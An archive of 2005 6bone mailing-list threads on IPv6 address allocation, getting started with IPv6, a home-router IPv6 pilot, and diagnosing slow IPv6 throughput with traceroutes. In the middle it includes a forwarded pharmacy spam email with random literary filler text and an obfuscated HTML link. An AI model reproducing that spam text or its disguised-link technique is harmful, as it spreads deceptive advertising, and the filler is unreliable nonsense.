Subject: Re: [6bone] Return of 3FFE:4005::/32
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On Mon, Apr 25, 2005 at 10:11:15AM +0800, Mar Loreto Apuhin wrote:
> Hello Bob,
> 
> What would be the procedure if we will assume the ownership of that IPV6
> address? We also want to test IPv6 here in the Philippines. We are operating
> as TIER 1 ISP in the Philippines. :-) 

Although I am not part of the official 6bone management group, I can tell you
this:

As outlined RFC3701 [6bone Phaseout], no new 3FFE pTLA address space can be
allocated as of and after January 2004.

It is recommended that you pursue after APNIC procedures to obtain a production
/32 prefix instead.

Hope this helps!

-J

-- 
James Jun
Infrastructure and Technology Services
TowardEX Technologies
Office +1-617-459-4051 x179 | Mobile +1-978-394-2867
james@towardex.com | www.towardex.com

From bobfink@gmail.com Sun Apr 24 23:59:25 2005
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From: Robert Fink <bobfink@gmail.com>
To: Mar Loreto Apuhin <mla@skyinet.net>
Subject: Re: [6bone] Return of 3FFE:4005::/32
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Mar Loreto Apuhin,

James is correct. Please pursue an address block with the appropriate
registry (APNIC I believe).


Thanks,

Bob


===
On 4/24/05, James <haesu@towardex.com> wrote:
> On Mon, Apr 25, 2005 at 10:11:15AM +0800, Mar Loreto Apuhin wrote:
> > Hello Bob,
> >
> > What would be the procedure if we will assume the ownership of that IPV6
> > address? We also want to test IPv6 here in the Philippines. We are operating
> > as TIER 1 ISP in the Philippines. :-)
> 
> Although I am not part of the official 6bone management group, I can tell you
> this:
> 
> As outlined RFC3701 [6bone Phaseout], no new 3FFE pTLA address space can be
> allocated as of and after January 2004.
> 
> It is recommended that you pursue after APNIC procedures to obtain a production
> /32 prefix instead.
> 
> Hope this helps!
> 
> -J
> 
> --
> James Jun
> Infrastructure and Technology Services
> TowardEX Technologies
> Office +1-617-459-4051 x179 | Mobile +1-978-394-2867
> james@towardex.com | www.towardex.com
>

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Subject: Re: [6bone] IPv6
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On Sun, Apr 24, 2005 at 08:30:19PM -0600, Michael Klink wrote:
> I am new to IPv6 Technology and would like to find out how to get our site
> started.

As you seem to be located in the US, http://www.occaid.org/ might be
a good start for you!

And of course let your ISP (seems to be Comcast) know that you are
interested in native IPv6 connectivity!


Best regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

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-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi

 


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>-------------------<br>
</span></font><font size=3D2><span style=3D'font-size:10.0pt'>Gregg</span><=
/font><font
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pan
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ont-size:
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ine</span></font><font
size=3D2><span style=3D'font-size:10.0pt'> hansolofalcon@worldnet.att.net<b=
r>
------------------------------------------------------------<br>
&quot;The Force will be with you...Always.&quot; Obi-Wan Kenobi<br>
&quot;Use the Force, Luke.&quot;&nbsp; Obi-Wan Kenobi</span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span style=3D=
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Subject: Re: Finevin for you, Cheap jacm
Date: Tue, 15 Mar 2005 03:23:13 -0400
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=20

that a leaf might have fallen on it and smothered it, but as it came
Ill. replied the Old Soldier. My dear sir, hes all sorts of
using his power. I had never doubted his meanness, his craft and
redskins at Slightly Gulch? It was a sanguinary affair, and especially
it is usually the case that we acquire knowledge of objects already
hearts at Peggottys marriage as little Emlys and mine. I am
presided. I cut and handed the sweet seed-cake - the little that
differentiae cannot be present in subjects. The characteristics
the truth, quite unprofessional altogether, my dear Copperfield. lay
before a lawyer chosen at random. No more remains, but to ask if
come too near and that a strange boy had broken through from it. He
Oh. said Mr. Dick. Yes. Do with - I should put him to bed.
when I am wrong, said Rosa Dartle. You mean it is a little dry,
excitedly, her face flushed and her dress stained with mud.
ended his life; and if I know her, even that will turn her home at
resolved, gied him his discharge, and he went and dwallt and merried
in
were to hear it you would know that you had heard it once before. with
that man. She and I are to be married. At which she pressed my
have none, none, no comfort upon earth, for all of them were always
They all swore. By this time they were on the rock, and suddenly
That night. I have never seen her since. I went back, after When we
were little, the Mock Turtle went on at last, more
call these terms not relative but quantitative, they would not have
Clara. said Miss Murdstone, in her warning voice.
so much, that never can forgive me, could only know what I suffer. The
dream by itself would have been a trifle, but while she was
kitchen-garden, said, in a louder voice, Come here. - as if she Andie
had scarce done when there befell a mighty silly affair that had
there is a saying in the Neverland that, every time you breathe, a
began to picture to myself, as a scrap of newspaper intelligence,
would rather have his favourite old pupil near him, than anybody Cecco
went, first flinging up his arms despairingly. There was no
entry of the transaction in his pocket-book - being very Tootles,
there is danger in the air for you to-night. Take care lest
thief among the swinging hammocks during a night-watch, or the man was
all in the one apartment, with a stairs leading to the chambers at
and in the bitterness of my spirit cursing Jip, I fell into such a
down on all fours and crawled into the kennel. To all Mrs. Darlings



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</HEAD>
<BODY><DIV><STRONG></STRONG><STRONG></STRONG><FONT SIZE=3D1></FONT><FONT></=
FONT><FONT></FONT>
<A href=3D"http%3A//jdkg&zwivkhd.org%2Egetrxspeci%41ls%2Enet/b/YDJLbjBlOWwx=
MV1aOGwwSjJSVEpv"></FONT></STRONG></font>
<BR><FONT><STRONG><font><IMG SRC=3D"cid:xrpunev_yannvdr_npkkcqi" border=3D"=
0" ALT=3D""></A>
</DIV><p><font></font><FONT></FONT><font></font><FONT></FONT>
<FONT size=3D1>that a leaf might have fallen on it and smothered it, but as=
 it came Ill. replied the Old Soldier.  My dear sir, hes all sorts of<BR><F=
ONT SIZE=3D2></FONT><FONT SIZE=3D1></FONT><STRONG></STRONG>
using his power.  I had never doubted his meanness, his craft and <FONT SIZ=
E=3D1></FONT><FONT SIZE=3D1></FONT>redskins at Slightly Gulch? It was a san=
guinary affair, and especially<BR><font></font><STRONG></STRONG>
it is usually the case that we acquire knowledge of objects already <FONT S=
IZE=3D1></FONT><FONT></FONT>hearts at Peggottys marriage as little Emlys an=
d mine.  I am<BR><STRONG></STRONG><font></font>
presided.  I cut and handed the sweet seed-cake - the little <STRONG></STRO=
NG><font></font>that differentiae cannot be present in subjects. The charac=
teristics<BR><FONT></FONT><FONT SIZE=3D1></FONT>
the truth, quite unprofessional altogether, my dear Copperfield. <FONT SIZE=
=3D1></FONT><FONT SIZE=3D1></FONT>lay before a lawyer chosen at random.  No=
 more remains, but to ask if<BR><FONT SIZE=3D2></FONT><font></font>
come too near and that a strange boy had broken through from it. He <FONT><=
/FONT><STRONG></STRONG>Oh. said Mr. Dick.  Yes.  Do with - I should put him=
 to bed.<BR><FONT></FONT><FONT SIZE=3D2></FONT>
when I am wrong, said Rosa Dartle.  You mean it is a little dry, <STRONG></=
STRONG><FONT SIZE=3D2></FONT>excitedly, her face flushed and her dress stai=
ned with mud.<BR><STRONG></STRONG><FONT SIZE=3D2></FONT>
ended his life; and if I know her, even that will turn her home at <FONT SI=
ZE=3D2></FONT><STRONG></STRONG>resolved, gied him his discharge, and he wen=
t and dwallt and merried in<BR><STRONG></STRONG><FONT SIZE=3D2></FONT>
were to hear it you would know that you had heard it once before. <FONT SIZ=
E=3D1></FONT><FONT SIZE=3D2></FONT>with that man.  She and I are to be marr=
ied.  At which she pressed my<BR><font></font><FONT SIZE=3D2></FONT>
have none, none, no comfort upon earth, for all of them were always <FONT S=
IZE=3D1></FONT><FONT></FONT>They all swore. By this time they were on the r=
ock, and suddenly<BR><FONT></FONT><FONT SIZE=3D1></FONT>
That night.  I have never seen her since.  I went back, after <FONT SIZE=3D=
2></FONT><STRONG></STRONG>When we were little, the Mock Turtle went on at l=
ast, more<BR><FONT></FONT><FONT SIZE=3D1></FONT>
call these terms not relative but quantitative, they would not have <STRONG=
></STRONG><FONT SIZE=3D1></FONT>Clara. said Miss Murdstone, in her warning =
voice.<BR><FONT SIZE=3D1></FONT><FONT SIZE=3D1></FONT>
so much, that never can forgive me, could only know what I suffer. <FONT></=
FONT><FONT></FONT>The dream by itself would have been a trifle, but while s=
he was<BR><STRONG></STRONG><FONT SIZE=3D2></FONT>
kitchen-garden, said, in a louder voice, Come here. - as if she <FONT SIZE=
=3D2></FONT><FONT SIZE=3D1></FONT>Andie had scarce done when there befell a=
 mighty silly affair that had<BR><STRONG></STRONG><FONT SIZE=3D1></FONT>
there is a saying in the Neverland that, every time you breathe, a <FONT SI=
ZE=3D2></FONT><FONT SIZE=3D2></FONT>began to picture to myself, as a scrap =
of newspaper intelligence,<BR><FONT></FONT><FONT SIZE=3D2></FONT>
would rather have his favourite old pupil near him, than anybody <FONT SIZE=
=3D2></FONT><FONT></FONT>Cecco went, first flinging up his arms despairingl=
y. There was no<BR><STRONG></STRONG><font></font>
entry of the transaction in his pocket-book - being very <FONT></FONT><FONT=
 SIZE=3D1></FONT>Tootles, there is danger in the air for you to-night. Take=
 care lest<BR><FONT SIZE=3D2></FONT><font></font>
thief among the swinging hammocks during a night-watch, or the man <FONT SI=
ZE=3D2></FONT><FONT></FONT>was all in the one apartment, with a stairs lead=
ing to the chambers at<BR><FONT SIZE=3D1></FONT><FONT></FONT>
and in the bitterness of my spirit cursing Jip, I fell into such a <font></=
font><FONT SIZE=3D2></FONT>down on all fours and crawled into the kennel. T=
o all Mrs. Darlings<BR><STRONG></STRONG><STRONG></STRONG>
</FONT></p>
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------=_NextPart_000_0024_01C549F2.3701B820--


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Hello from Gregg C Levine
Folks, I apologize for that attached e-mail message discussing
medication. It should not have been sent to our list. My e-mail client
goofed again. Just delete it. If you want to complain please feel free
to do so, but do so off list. And if you really want to do so,
complain to those dunderheads at Microsoft.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi



From malati@ortelcom.com Wed Apr 27 22:11:38 2005
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I am new to IPv6 Technology and would like to know how to start IPv6.
We have cisco 7200 Router with 12.3(9a) IOS and windows XP computer.=20
=20
Any help in this regard will be appreciated
=20
Regards
Malati Mishra
Bhubaneswar
Orissa
India

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML =
DIR=3Dltr><HEAD><META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1"></HEAD><BODY><DIV><FONT face=3D'Verdana' =
color=3D#000000 size=3D2>I am new to IPv6 Technology and would like to =
know how to =0A=
start IPv6.</FONT></DIV>=0A=
<DIV><FONT face=3DVerdana color=3D#000000 size=3D2>We have cisco 7200 =
Router with =0A=
12.3(9a) IOS and windows XP computer. </FONT></DIV>=0A=
<DIV><FONT face=3DVerdana color=3D#000000 size=3D2></FONT>&nbsp;</DIV>=0A=
<DIV><FONT face=3DVerdana color=3D#000000 size=3D2>Any help in this =
regard will be =0A=
appreciated</FONT></DIV>=0A=
<DIV><FONT face=3DVerdana color=3D#000000 size=3D2></FONT>&nbsp;</DIV>=0A=
<DIV><FONT face=3DVerdana color=3D#000000 size=3D2>Regards<BR>Malati =0A=
Mishra<BR>Bhubaneswar<BR>Orissa<BR>India</FONT></DIV></BODY></HTML>
------_=_NextPart_001_01C54BB1.B75520D2--

From frlinux@frlinux.net Thu Apr 28 00:59:38 2005
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Date: Thu, 28 Apr 2005 08:58:33 +0100 (IST)
Subject: Re: [6bone] ipv6
From: "FRLinux" <frlinux@frlinux.net>
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On Thu, April 28, 2005 6:18 am, Malati  Mishra said:
> I am new to IPv6 Technology and would like to know how to start IPv6.
> We have cisco 7200 Router with 12.3(9a) IOS and windows XP computer.

Isn't 12.3(9a) deprecated ? I am also using a 7200 (7204) and currently
run 12.3(12b) on it.

You should have a look at this document from Cisco which provides a nice
guide to set up ipv6 on your network.
http://www.cisco.com/en/US/products/sw/iosswrel/ps5187/products_configuration_guide_chapter09186a00801d65ed.html

Steph
-- 
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http://frlinux.net/files/frlinux_public_key.asc


From mohacsi@niif.hu Thu Apr 28 01:01:38 2005
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Hi Malati,
 	Look at the result of 6NET project at www.6net.org. Particularly 
useful information is the Cookbook available at:
http://www.6net.org/publications/deliverables/D3.1.2v2.pdf

Regards,

Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98


On Thu, 28 Apr 2005, Malati  Mishra wrote:

> I am new to IPv6 Technology and would like to know how to start IPv6.
> We have cisco 7200 Router with 12.3(9a) IOS and windows XP computer.
>
> Any help in this regard will be appreciated
>
> Regards
> Malati Mishra
> Bhubaneswar
> Orissa
> India
>

From tboss@research.earthlink.net Mon May  2 12:32:45 2005
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Subject: [6bone] An IPv6 pilot project
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EarthLink R&D has been working for some time on a pilot project for 
bringing IPv6 "to the home".  Toward that end, we have hacked the 
open-source firmware of the Linksys WRT54G wireless access point and 
turned the WRT54G into an IPv6 router.  We are now making our customized 
firmware available for download, and are allowing interested users to have 
a /64 network delegated to them via DHCPv6.

Essentially, this is how it works:

Using our customized firmware, at boot time the WRT54G will create an 
IPSEC tunnel to a router in our lab.  We aren't using IPSEC for 
encryption, just for authenticating the session (using IPSEC 
"Authenticated Header" mode).  Once the IPSEC tunnel is established, the 
WRT54G then uses DHCPv6 to get the /64 network prefix allocated to it over 
the IPSEC tunnel.  The WRT54G then advertises that prefix on the local LAN 
(both wired and wireless) and acts as an IPv6 router for all nodes on the 
LAN.

For more information, refer to:

http://www.research.earthlink.net/ipv6/

Strictly speaking this may be somewhat off-topic for this mailing list, 
but I thought some folks on this list might find this of interest.

--
Tim Bosserman
EarthLink R&D

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Hello,

I am currently using a Cisco 7204vxr router with IOS 12.3(12b). We are
dual-stacked on a high speed link.

Whilst ipv4 gets full speed (2.5MB/s practical download speed), i am only
getting 50-100kb/s on v6 which is wrong. It used to work properly but is
now dead slow. I can't think what changed but the IOS version (12a before
the icmp advisory).

I have cef enabled for v4/v6 but still no joy.

Has anyone seen such a behavior ?

Thanks,
Steph
-- 
Mail sent under Debian GNU/Linux
http://frlinux.net - Site d'aide a Linux en Francais
http://frlinux.net/files/frlinux_public_key.asc


From dr@cluenet.de Thu May  5 09:58:51 2005
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From: Daniel Roesen <dr@cluenet.de>
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On Thu, May 05, 2005 at 04:17:54PM +0100, FRLinux wrote:
> I am currently using a Cisco 7204vxr router with IOS 12.3(12b). We are
> dual-stacked on a high speed link.
> 
> Whilst ipv4 gets full speed (2.5MB/s practical download speed), i am only
> getting 50-100kb/s on v6 which is wrong. It used to work properly but is
> now dead slow. I can't think what changed but the IOS version (12a before
> the icmp advisory).

How did you test?

Please describe your environment in detail. Can you put up the config?


Regards,
Daniel

PS: please don't use "reply" to open a new thread as you actually hijack
the one you're replying to.

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

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--/8E7gjuj425jZz9t
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Hi,

we have found an interesting behaviour about ttl exceeded with
FreeBSD-5.3: Packets larger than 112 bytes do not get answered
with this error.
In the following output, bge0.gw-tunnel-a.v6.schlund.net is our
FreeBSD- box.
(Second parameter of traceroute6 is packet size)

armin@nero traceroute6 test.rot13.de 112
traceroute6 to test.rot13.de (2001:8d8:81:550::1) from 2001:8d8:41::6, 64 h=
ops max, 112 byte packets
 1  gw-ma6  0.452 ms  0.327 ms  0.323 ms
 2  v999.gw-dists.bs.ka.schlund.net  0.780 ms  0.662 ms  0.652 ms
 3  bge0.gw-tunnel-a.v6.schlund.net  1.343 ms  1.510 ms  1.365 ms
 4  test.rot13.de  1.166 ms  1.267 ms  1.154 ms
armin@nero traceroute6 test.rot13.de 113
traceroute6 to test.rot13.de (2001:8d8:81:550::1) from 2001:8d8:41::6, 64 h=
ops max, 113 byte packets
 1  gw-ma6  0.412 ms  0.347 ms  0.323 ms
 2  v999.gw-dists.bs.ka.schlund.net  0.845 ms  0.667 ms  0.649 ms
 3  * * *
 4  test.rot13.de  1.318 ms  1.148 ms  1.157 ms


die anyone else experience this?

bye,
	Armin
--=20
Armin Arh
Schlund + Partner AG

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Today's Topics:

   1. cisco ipv6 slow perfs (FRLinux)
   2. Re: cisco ipv6 slow perfs (Daniel Roesen)


----------------------------------------------------------------------

Message: 1
Date: Thu, 5 May 2005 16:17:54 +0100 (IST)
From: "FRLinux" <frlinux@frlinux.net>
Subject: [6bone] cisco ipv6 slow perfs
To: 6bone@mailman.isi.edu
Message-ID: <59794.160.6.1.82.1115306274.squirrel@webmail.frlinux.net>
Content-Type: text/plain;charset=iso-8859-1

Hello,

I am currently using a Cisco 7204vxr router with IOS 12.3(12b). We are
dual-stacked on a high speed link.

Whilst ipv4 gets full speed (2.5MB/s practical download speed), i am only
getting 50-100kb/s on v6 which is wrong. It used to work properly but is
now dead slow. I can't think what changed but the IOS version (12a before
the icmp advisory).

I have cef enabled for v4/v6 but still no joy.

Has anyone seen such a behavior ?

Thanks,
Steph
-- 
Mail sent under Debian GNU/Linux
http://frlinux.net - Site d'aide a Linux en Francais
http://frlinux.net/files/frlinux_public_key.asc



------------------------------

Message: 2
Date: Thu, 5 May 2005 18:57:59 +0200
From: Daniel Roesen <dr@cluenet.de>
Subject: Re: [6bone] cisco ipv6 slow perfs
To: 6bone@mailman.isi.edu
Message-ID: <20050505165759.GA28243@srv01.cluenet.de>
Content-Type: text/plain; charset=us-ascii

On Thu, May 05, 2005 at 04:17:54PM +0100, FRLinux wrote:
> I am currently using a Cisco 7204vxr router with IOS 12.3(12b). We are
> dual-stacked on a high speed link.
> 
> Whilst ipv4 gets full speed (2.5MB/s practical download speed), i am only
> getting 50-100kb/s on v6 which is wrong. It used to work properly but is
> now dead slow. I can't think what changed but the IOS version (12a before
> the icmp advisory).

How did you test?

Please describe your environment in detail. Can you put up the config?


Regards,
Daniel

PS: please don't use "reply" to open a new thread as you actually hijack
the one you're replying to.

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0


------------------------------

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From frlinux@frlinux.net Wed May 11 03:51:01 2005
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Date: Wed, 11 May 2005 11:50:39 +0100 (IST)
Subject: Re: [6bone] cisco ipv6 slow perfs
From: "FRLinux" <frlinux@frlinux.net>
To: "Daniel Roesen" <dr@cluenet.de>
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On Thu, May 5, 2005 5:57 pm, Daniel Roesen said:
> How did you test?

I was using wget from various machines (solaris, linux, freebsd)

> Please describe your environment in detail. Can you put up the config?

The config is a bit sensitive to post, it is a dual-stack link both
enabled on v4/6 with cef (i don't have route cache enabled though). Every
single ipv6 download is limited to 50/100kb, i don't have cisco support
either (although i am currently arranging one).

Is there anything people might actually suggest for me to test ?

Steph
-- 
Mail sent under Debian GNU/Linux
http://frlinux.net - Site d'aide a Linux en Francais
http://frlinux.net/files/frlinux_public_key.asc


From frlinux@frlinux.net Thu May 12 13:14:03 2005
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Mark Bednarczyk wrote:
> We are about to enable (next week) IPv6 dual stacked accross all
> interfaces on one of our field offices with cat 4500 and SupIIIG
> module. I hope we get more then 100K throughput though.

Our provider currently use several dual stacked cisco routers (i believe
they have 7600 series) and they didn't notice any problem, so that
leaves me with 3 possibilities :

- - i wrongly configured my router
- - there is an unknow bug in the IOS version i am currently running
(although my release did not appear in the deferred list yet :)
- - my 7204 is too getting limited by its hardware and the amount of ACLs
it is putting up with but i'd expect to see some pikes on the cpu usage
which is not the case ...

Please let us know how you get on!
Steph
- --
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From iljitsch@muada.com Sat May 14 02:31:08 2005
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] cisco ipv6 slow perfs
Date: Sat, 14 May 2005 11:30:18 +0200
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On 12-mei-2005, at 22:13, FRLinux wrote:

> - - i wrongly configured my router
> - - there is an unknow bug in the IOS version i am currently running
> (although my release did not appear in the deferred list yet :)
> - - my 7204 is too getting limited by its hardware and the amount  
> of ACLs
> it is putting up with but i'd expect to see some pikes on the cpu  
> usage
> which is not the case ...

It's much more likely that the IPv6 traffic takes a very different  
route from the IPv4 traffic. Have a look at the traceroutes.

From frlinux@frlinux.net Wed May 25 00:59:38 2005
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Date: Wed, 25 May 2005 08:58:58 +0100 (IST)
Subject: Re: [6bone] cisco ipv6 slow perfs
From: "FRLinux" <frlinux@frlinux.net>
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On Sat, May 14, 2005 10:30 am, Iljitsch van Beijnum said:
> It's much more likely that the IPv6 traffic takes a very different
> route from the IPv4 traffic. Have a look at the traceroutes.

I did some further testing and surprisingly, ipv6 takes shorter routes.
For instance, tracerouting to kame.net takes 19 hops on v4 and only 11 via
v6.

I also since enabled route cache on the main interface and the atm
interface without any luck still getting an average of 80kb/s transfer
speed ...

Steph
-- 
Mail sent under Debian GNU/Linux
http://frlinux.net - Site d'aide a Linux en Francais
http://frlinux.net/files/frlinux_public_key.asc


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On Wed, 2005-05-25 at 08:58 +0100, FRLinux wrote:
> On Sat, May 14, 2005 10:30 am, Iljitsch van Beijnum said:
> > It's much more likely that the IPv6 traffic takes a very different
> > route from the IPv4 traffic. Have a look at the traceroutes.
>=20
> I did some further testing and surprisingly, ipv6 takes shorter routes.
> For instance, tracerouting to kame.net takes 19 hops on v4 and only 11 vi=
a
> v6.

19 fast hops, versus 11 slow ones, most likely going through a mess of
tunnels.

Dump the traceroutes here and complain to the underlying AS's, or get a
better transit.

Greets,
 Jeroen


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From frlinux@frlinux.net Wed May 25 03:28:39 2005
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Date: Wed, 25 May 2005 11:28:27 +0100 (IST)
Subject: Re: [6bone] cisco ipv6 slow perfs
From: "FRLinux" <frlinux@frlinux.net>
To: "Simon Leinen" <simon@limmat.switch.ch>
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On Wed, May 25, 2005 10:11 am, Simon Leinen said:
> At these performance levels, router performance is probably not the
> problem.  Let's see these traceroutes...

Ok, let's take ftp.nluug.nl for instance.

$ host ftp.nluug.nl
ftp.nluug.nl has address 192.87.102.36
ftp.nluug.nl has IPv6 address 2001:610:1:80aa:192:87:102:36

Here are the traceroutes from the router :

traceroute 192.87.102.36

Type escape sequence to abort.
Tracing the route to ftp.nluug.nl (192.87.102.36)

  1 mantova-atm3-1-30.bh.access.hea.net (193.1.194.137) 4 msec 0 msec 4 msec
  2 hyperion-gige3-3-0.bh.core.hea.net (193.1.196.121) 0 msec 4 msec 0 msec
  3 deimos-gige5-2.cwt.core.hea.net (193.1.195.86) 4 msec 0 msec 4 msec
  4 heanet.ie1.ie.geant.net (62.40.103.229) 0 msec 0 msec 0 msec
  5 ie.uk1.uk.geant.net (62.40.96.138) 16 msec 16 msec 16 msec
  6 uk.nl1.nl.geant.net (62.40.96.181) 24 msec 24 msec 20 msec
  7 surfnet-gw.nl1.nl.geant.net (62.40.103.98) 104 msec 108 msec 200 msec
  8 PO11-0.CR1.Amsterdam1.surf.net (145.145.166.33) 24 msec 24 msec 36 msec
  9 po0-0.ar5.amsterdam1.surf.net (145.145.162.2) 24 msec 24 msec 24 msec
 10 te1-1.sw14.amsterdam1.surf.net (145.145.140.158) 24 msec 24 msec 24 msec
 11  *  *  !A

traceroute 2001:610:1:80aa:192:87:102:36

Type escape sequence to abort.
Tracing the route to ftp.nluug.nl (2001:610:1:80AA:192:87:102:36)

  1 mantova-atm3-1-30.bh.access.hea.net (2001:770:8:20::1) 0 msec 0 msec 4
msec
  2 hyperion-gige5-3.bh.core.hea.net (2001:770:8:1F::1) 0 msec 4 msec 0 msec
  3 deimos-gige5-1.cwt.core.hea.net (2001:770:8:C::2) 4 msec 0 msec 4 msec
  4 heanet.ie1.ie.geant.net (2001:798:2019:10AA::1) 0 msec 0 msec 4 msec
  5 ie.uk1.uk.geant.net (2001:798:20CC:1901:2801::2) 16 msec 16 msec 16 msec
  6 uk.nl1.nl.geant.net (2001:798:20CC:2201:2801::1) 20 msec 24 msec 20 msec
  7 PO6-0.BR2.Amsterdam1.surf.net (2001:798:2022:10AA::6) 116 msec 204
msec 228 msec
  8 Gi10-3.AR5.Amsterdam1.surf.net (2001:610:14:160::161) 24 msec 24 msec
24 msec
  9 Gi5-1.SW14.Amsterdam1.surf.net (2001:610:14:160::162) 24 msec 24 msec
24 msec
 10 Gi5-1.SW14.Amsterdam1.surf.net (2001:610:14:160::162) 36 msec 24 msec
24 msec
 11 Gi5-1.SW14.Amsterdam1.surf.net (2001:610:14:160::162) !A  !A  !A

Steph
-- 
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From frlinux@frlinux.net Wed May 25 08:16:40 2005
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Date: Wed, 25 May 2005 16:15:45 +0100 (IST)
Subject: Re: [6bone] cisco ipv6 slow perfs
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To: "Simon Leinen" <simon@limmat.switch.ch>
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On Wed, May 25, 2005 3:29 pm, Simon Leinen said:
> No, I would like to see the IPv4 vs. IPv6 traceroutes that you were
> referring to in your other mail, i.e. those where the IPv4 path with
> 19 hops gives you better performance than the IPv6 path with 11 hops.

Sure. But just before doing this, I was discussing that off-list and even
downloading from ftp.heanet.ie (which is only 3 hops from us), i am still
getting the same problems which now indicate a problem on my router rather
than routing issues ...

host www.kame.net
www.kame.net has address 203.178.141.194
www.kame.net has IPv6 address 2001:200:0:8002:203:47ff:fea5:3085

Tracing the route to orange.kame.net (203.178.141.194)
  1 mantova-atm3-1-30.bh.access.hea.net (193.1.194.137) 4 msec 0 msec 0 msec
  2 hyperion-gige3-3-0.bh.core.hea.net (193.1.196.121) 0 msec 4 msec 0 msec
  3 deimos-gige5-1.cwt.core.hea.net (193.1.195.129) 4 msec 4 msec 0 msec
  4 lola-pos0-3-0.nyc.core.hea.net (193.1.196.138) 68 msec 68 msec 76 msec
  5 abilene-manlan.nyc.peer.hea.net (193.1.196.142) 72 msec 84 msec 76 msec
  6 chinng-nycmng.abilene.ucaid.edu (198.32.8.82) 96 msec 116 msec 96 msec
  7 iplsng-chinng.abilene.ucaid.edu (198.32.8.77) 116 msec 100 msec 96 msec
  8 kscyng-iplsng.abilene.ucaid.edu (198.32.8.81) 100 msec 100 msec 112 msec
  9 dnvrng-kscyng.abilene.ucaid.edu (198.32.8.13) 120 msec 112 msec 112 msec
 10 snvang-dnvrng.abilene.ucaid.edu (198.32.8.1) 136 msec 140 msec 140 msec
 11 losang-snvang.abilene.ucaid.edu (198.32.8.94) 144 msec 152 msec 148 msec
 12 transpac-local.lsanca.pacificwave.net (207.231.240.136) 148 msec 144
msec 156 msec
 13 192.203.116.146 264 msec 264 msec 256 msec
 14 tpr4-10gi0-1-0.jp.apan.net (203.181.248.109) 280 msec 276 msec 284 msec
 15 203.178.133.142 260 msec 256 msec 260 msec
 16 ve-51.foundry4.otemachi.wide.ad.jp (203.178.141.141) 256 msec 260 msec
268 msec
 17 pc3.yagami.wide.ad.jp (203.178.138.245) 268 msec 260 msec 256 msec
 18 fe-2-0.hitachi1.k2.wide.ad.jp (203.178.138.218) 268 msec 264 msec 260
msec
 19 orange.kame.net (203.178.141.194) 260 msec 260 msec 260 msec

Tracing the route to orange.kame.net (2001:200:0:8002:203:47FF:FEA5:3085)
  1 mantova-atm3-1-30.bh.access.hea.net (2001:770:8:20::1) 0 msec 0 msec 4
msec
  2 hyperion-gige5-3.bh.core.hea.net (2001:770:8:1F::1) 0 msec 4 msec 0 msec
  3 luna-gige0-0-0.kil.core.hea.net (2001:770:90:5::1) 4 msec 0 msec 0 msec
  4 gx-link.core.hea.net (2001:770:90:7::2) 0 msec 4 msec 0 msec
  5 2001:CC8:102:5::2 156 msec 156 msec 156 msec
  6 2001:CC8:102:5::2 160 msec 160 msec 156 msec
  7 2001:CC8:102:5::1 320 msec 320 msec 324 msec
  8 hitachi1.otemachi.wide.ad.jp (2001:200:0:1800::9C4:2) 268 msec 272
msec 272 msec
  9 pc3.yagami.wide.ad.jp (2001:200:0:1C04::1000:2000) 276 msec 272 msec
268 msec
 10 gr2000.k2.wide.ad.jp (2001:200:0:4819::2000:1) 272 msec 272 msec 276 msec
 11 orange.kame.net (2001:200:0:8002:203:47FF:FEA5:3085) 276 msec 284 msec
272 msec

Steph
-- 
Mail sent under Debian GNU/Linux
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From dimitrygv@hotmail.com Wed May 25 18:17:40 2005
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From: "dimitry verkholashin" <dimitrygv@hotmail.com>
To: frlinux@frlinux.net, simon@limmat.switch.ch
Subject: Re: [6bone] cisco ipv6 slow perfs
Date: Wed, 25 May 2005 18:17:06 -0700
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here is what I am getting:

traceroute to www.kame.net (203.178.141.194), 30 hops max, 40 byte packets
1  192.168.0.1 (192.168.0.1)  0.505 ms  0.478 ms  0.450 ms
2  tukw-dsl-gw11-203.tukw.qwest.net (63.231.10.203)  68.017 ms  56.747 ms  
57.869 ms
3  tukw-agw1.inet.qwest.net (63.231.10.93)  57.085 ms  64.601 ms  49.734 ms
4  tkw-core-01.inet.qwest.net (205.171.11.97)  57.092 ms  56.530 ms  58.112 
ms
5  svl-core-01.inet.qwest.net (205.171.14.117)  73.406 ms  71.507 ms  71.176 
ms 6  tko-core-01.inet.qwest.net (65.120.19.69)  209.370 ms  212.992 ms  
198.795 ms
7  jpx-brdr-01.inet.qwest.net (65.120.19.66)  202.752 ms  201.067 ms  
213.821 ms
8  203.181.102.189 (203.181.102.189)  204.248 ms  195.227 ms  198.548 ms
9  gsr-ote102.kddnet.ad.jp (203.181.96.120)  211.458 ms  207.737 ms  213.568 
ms10  cm-ote128.kddnet.ad.jp (59.128.5.42)  204.523 ms  197.879 ms  198.531 
ms
11  210.132.94.78 (210.132.94.78)  211.204 ms *  213.978 ms
12  ve-5.foundry4.otemachi.wide.ad.jp (203.178.140.209)  207.723 ms  207.678 
ms  211.841 ms
13  pc3.yagami.wide.ad.jp (203.178.138.245)  199.631 ms  185.890 ms  187.210 
ms
14  fe-2-0.hitachi1.k2.wide.ad.jp (203.178.138.218)  202.845 ms  189.120 ms  
198.796 ms
15  orange.kame.net (203.178.141.194)  201.140 ms  187.462 ms  200.269 ms


traceroute6 to www.kame.net (2001:200:0:8002:203:47ff:fea5:3085) from 
2001:5c0:877a::3, 64 hops max, 12 byte packets
1  oberon  0.581 ms  0.401 ms  0.342 ms
